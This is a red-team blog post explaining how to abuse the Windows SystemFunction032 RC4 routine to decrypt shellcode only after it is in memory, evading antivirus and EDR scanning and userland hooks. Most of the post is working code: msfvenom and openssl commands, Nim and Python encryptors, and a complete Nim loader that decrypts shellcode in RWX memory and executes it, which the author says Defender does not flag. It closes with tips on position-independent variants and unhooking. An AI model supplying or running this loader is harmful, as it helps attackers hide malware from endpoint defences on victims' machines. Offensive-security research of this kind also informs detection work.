Fabian Mosch aliasĀ S3cur3Th1sSh1t
Some days ago I woke up in the middle of the night - thinking about the Advapi32.dll
/SystemFunction032
function. Really? Yes. Strange, this InfoSec folks. This post will show my nightly idea and sample Code on how to weaponize it.
SystemFunction032??
I did not know about this function before digging into Sleep obfuscation techniques like Foliage or Ekko. Although Benjamin Delphi already wrote about it in 2013 and used it in Mimikatz.
So this function is able to encrypt/decrypt memory regions via RC4 encryption. As for example the ReactOS Code shows it takes a pointer to an RC4_Context structure as input as well as a pointer to the encryption key:
āWhy the heck do you see something special in that?ā you could ask. Well, at least I personally did not know about alternative functions for existing memory region
encryption/decryption except for XOR
operations. But as you can read in for example Kyle Averyās blog about Avoiding Memory Scanners a simple XOR
even with a longer key got in the meanwhile to detect for AV/EDR vendors.
Although RC4 is considered as insecure and even broken for years it provides a much better memory evasion for e.G. Shellcode to us than simple XOR
. It would be even more OpSec save to use AES here instead. But one single Windows API is at least very easy to use.
The midnight idea
Typically if you want to execute Shellcode in a process you will need the following steps:
- Open a Handle to the Process
- Allocate Memory in that Process with
RW/RX
orRWX
permissions - Write the Shellcode into that region
- (Optional) change Permissions to
RX
fromRW
for execution - Execute the Shellcode as Thread/APC/Callback/whatever
To avoid signature based detections we could encrypt our Shellcode and decrypt that on runtime before execution. For e.g. AES decryption the flow would typically look like this:
- Open a Handle to the Process
- Allocate Memory in that Process with
RW/RX
orRWX
permissions - Decrypt the Shellcode, so that we can write the cleartext value into memory
- Write the Shellcode into the allocated region
- (Optional) change Permissions to
RX
fromRW
for execution - Execute the Shellcode as Thread/APC/Callback/whatever
In this case, the Shellcode itself could get detected when writing it into memory e.g. by userland hooks as we would need to pass a pointer of the cleartext Shellcode to WriteProcessMemory
or NtWriteVirtualMemory
.
The usage of XOR
could avoid that, because we can even XOR
decrypt the memory region after writing the encrypted value into memory. It would look like this:
- Open a Handle to the Process
- Allocate Memory in that Process with
RW/RX
orRWX
permissions - Write the Shellcode into the allocated region
- XOR decrypt the Shellcode memory region
- (Optional) change Permissions to
RX
fromRW
for execution - Execute the Shellcode as Thread/APC/Callback/whatever
But XOR
can easily be detected. So we donāt want to use that. You already got the idea?
As an alternative we could make use of SystemFunction032
to decrypt the Shellcode after writing it into memory. So letās do that!
The PoC
First I had the idea of generating Shellcode and just RC4 encrypt it with OpenSSL. So my idea was to generate it as follows:
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
cat calc.bin | openssl enc -rc4 -nosalt -k "aaaaaaaaaaaaaaaa" > enccalc.bin
But later on - when debugging - it turned out, that SystemFunction032
somehow encrypts/decrypts different to OpenSSL/RC4. So we cannot do it like that.
09.11.2022: Update
an0n_r0 gave further information on how to do the encryption with OpenSSL. You can do it as follows:
openssl enc -rc4 -in calc.bin -K `echo -n 'aaaaaaaaaaaaaaaa' | xxd -p` -nosalt > enccalc.bin
We could also use the following Nim Code to get an encrypted Shellcode blob (Windows OS only):
import winim
import winim/lean
# msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
const encstring = slurp"calc.bin"
func toByteSeq*(str: string): seq[byte] {.inline.} =
## Converts a string to the corresponding byte sequence.
@(str.toOpenArrayByte(0, str.high))
proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS
{.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".}
# This is the mentioned RC4 struct
type
USTRING* = object
Length*: DWORD
MaximumLength*: DWORD
Buffer*: PVOID
var keyString: USTRING
var imgString: USTRING
# Our encryption Key
var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']
keyString.Buffer = cast[PVOID](&keyBuf)
keyString.Length = 16
keyString.MaximumLength = 16
var shellcode = toByteSeq(encstring)
var size = len(shellcode)
# We need to still get the Shellcode to memory to encrypt it with SystemFunction032
let tProcess = GetCurrentProcessId()
echo "Current Process ID: ", tProcess
var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)
echo "Process Handle: ", repr(pHandle)
let rPtr = VirtualAllocEx(
pHandle,
NULL,
cast[SIZE_T](size),
MEM_COMMIT,
PAGE_READ_WRITE
)
copyMem(rPtr, addr shellcode[0], size)
# Fill the RC4 struct
imgString.Buffer = rPtr
imgString.Length = cast[DWORD](size)
imgString.MaximumLength = cast[DWORD](size)
# Call SystemFunction032
SystemFunction032(&imgString, &keyString)
copyMem(addr shellcode[0],rPtr ,size)
echo "Writing encrypted shellcode to dec.bin"
writeFile("enc.bin", shellcode)
# enc.bin contains our encrypted Shellcode
09.11.2022: Update
snovvcrash also published a simple Python Script after this blog which simplifies the encryption with a Python Script:
#!/usr/bin/env python3
from typing import Iterator
from base64 import b64encode
# Stolen from: https://gist.github.com/hsauers5/491f9dde975f1eaa97103427eda50071
def key_scheduling(key: bytes) -> list:
sched = [i for i in range(0, 256)]
i = 0
for j in range(0, 256):
i = (i + sched[j] + key[j % len(key)]) % 256
tmp = sched[j]
sched[j] = sched[i]
sched[i] = tmp
return sched
def stream_generation(sched: list[int]) -> Iterator[bytes]:
i, j = 0, 0
while True:
i = (1 + i) % 256
j = (sched[i] + j) % 256
tmp = sched[j]
sched[j] = sched[i]
sched[i] = tmp
yield sched[(sched[i] + sched[j]) % 256]
def encrypt(plaintext: bytes, key: bytes) -> bytes:
sched = key_scheduling(key)
key_stream = stream_generation(sched)
ciphertext = b''
for char in plaintext:
enc = char ^ next(key_stream)
ciphertext += bytes([enc])
return ciphertext
if __name__ == '__main__':
# msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
with open('calc.bin', 'rb') as f:
result = encrypt(plaintext=f.read(), key=b'aaaaaaaaaaaaaaaa')
print(b64encode(result).decode())
To execute this, we could simply use the following Nim code:
import winim
import winim/lean
# (OPTIONAL) do some Environmental Keying stuff
# Encrypted with the previous code
# Embed the encrypted Shellcode on compile time as string
const encstring = slurp"enc.bin"
func toByteSeq*(str: string): seq[byte] {.inline.} =
## Converts a string to the corresponding byte sequence.
@(str.toOpenArrayByte(0, str.high))
proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS
{.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".}
type
USTRING* = object
Length*: DWORD
MaximumLength*: DWORD
Buffer*: PVOID
var keyString: USTRING
var imgString: USTRING
# Same Key
var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']
keyString.Buffer = cast[PVOID](&keyBuf)
keyString.Length = 16
keyString.MaximumLength = 16
var shellcode = toByteSeq(encstring)
var size = len(shellcode)
let tProcess = GetCurrentProcessId()
echo "Current Process ID: ", tProcess
var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)
let rPtr = VirtualAllocEx(
pHandle,
NULL,
cast[SIZE_T](size),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
copyMem(rPtr, addr shellcode[0], size)
imgString.Buffer = rPtr
imgString.Length = cast[DWORD](size)
imgString.MaximumLength = cast[DWORD](size)
# Decrypt memory region with SystemFunction032
SystemFunction032(&imgString, &keyString)
# (OPTIONAL) we could Sleep here with a custom Sleep function to avoid memory Scans
# Directly call the Shellcode instead of using a Thread/APC/Callback/whatever
let f = cast[proc(){.nimcall.}](rPtr)
f()
At least Defender does not complain here:
By using that we can nearly ignore userland hooks because our cleartext Shellcode is never passed to any function (Only SystemFunction032
itself). Of course, all those vendors could detect us by hooking Advapi32/SystemFunction032
- I did ask this question into the InfoSec community regarding to Sleep obfuscation detection some time ago.
But:
- There seam to be some privacy reasons why vendors canāt easily hook it, because they would get too many sensitive informations out of legitimate Processes.
- There are many alternatives to
SystemFunction032
, just read the Benjamin Delphi article linked above or take a look at the ReactOS code. - We could also unhook the function before using it.
At the moment at least vendors seam to not hook it. I personally guess this will change in the future.
Homework for the interested
Another idea was even better from my mind. By using PIC-Code we could also skip all other Win32 functions which were used in my PoC. Because when writing PIC-Code, all code is contained in the .text
section, and this section typically has RX
permissions by default, which is enough many times. So we would not need to change memory permissions and we donāt need to write the Shellcode to memory.
It would just be as short as follows:
- Call
SystemFunction032
to decrypt the Shellcode - Directly call it
Sample Code for PIC-Code can for example be found here. For the Nim-Fans, one library was released ~2 weeks ago which also enables us to relatively easy write PIC-Code called Bitmancer.
Is a program, that just calls SystemFunction032
potentially malicious? :-) Or one, that just calls any other encryption/decryption function?
Links & Resources
- FoliageĀ https://github.com/SecIdiot/FOLIAGE
- EkkoĀ https://github.com/Cracked5pider/Ekko
- Avoiding Memory Scanners blogĀ https://www.blackhillsinfosec.com/avoiding-memory-scanners/
- SystemFunction032 Benjamin Delphi PostĀ https://blog.gentilkiwi.com/tag/systemfunction032
- ReactOS Code SystemFunction032Ā https://doxygen.reactos.org/df/d13/sysfunc_8c.html#a66d55017b8625d505bd6c5707bdb9725
- PIC Hello World codeĀ https://github.com/thefLink/C-To-Shellcode-Examples/blob/master/HelloWorld/HelloWorld.c
- Bitmancer LibraryĀ https://github.com/zimawhit3/Bitmancer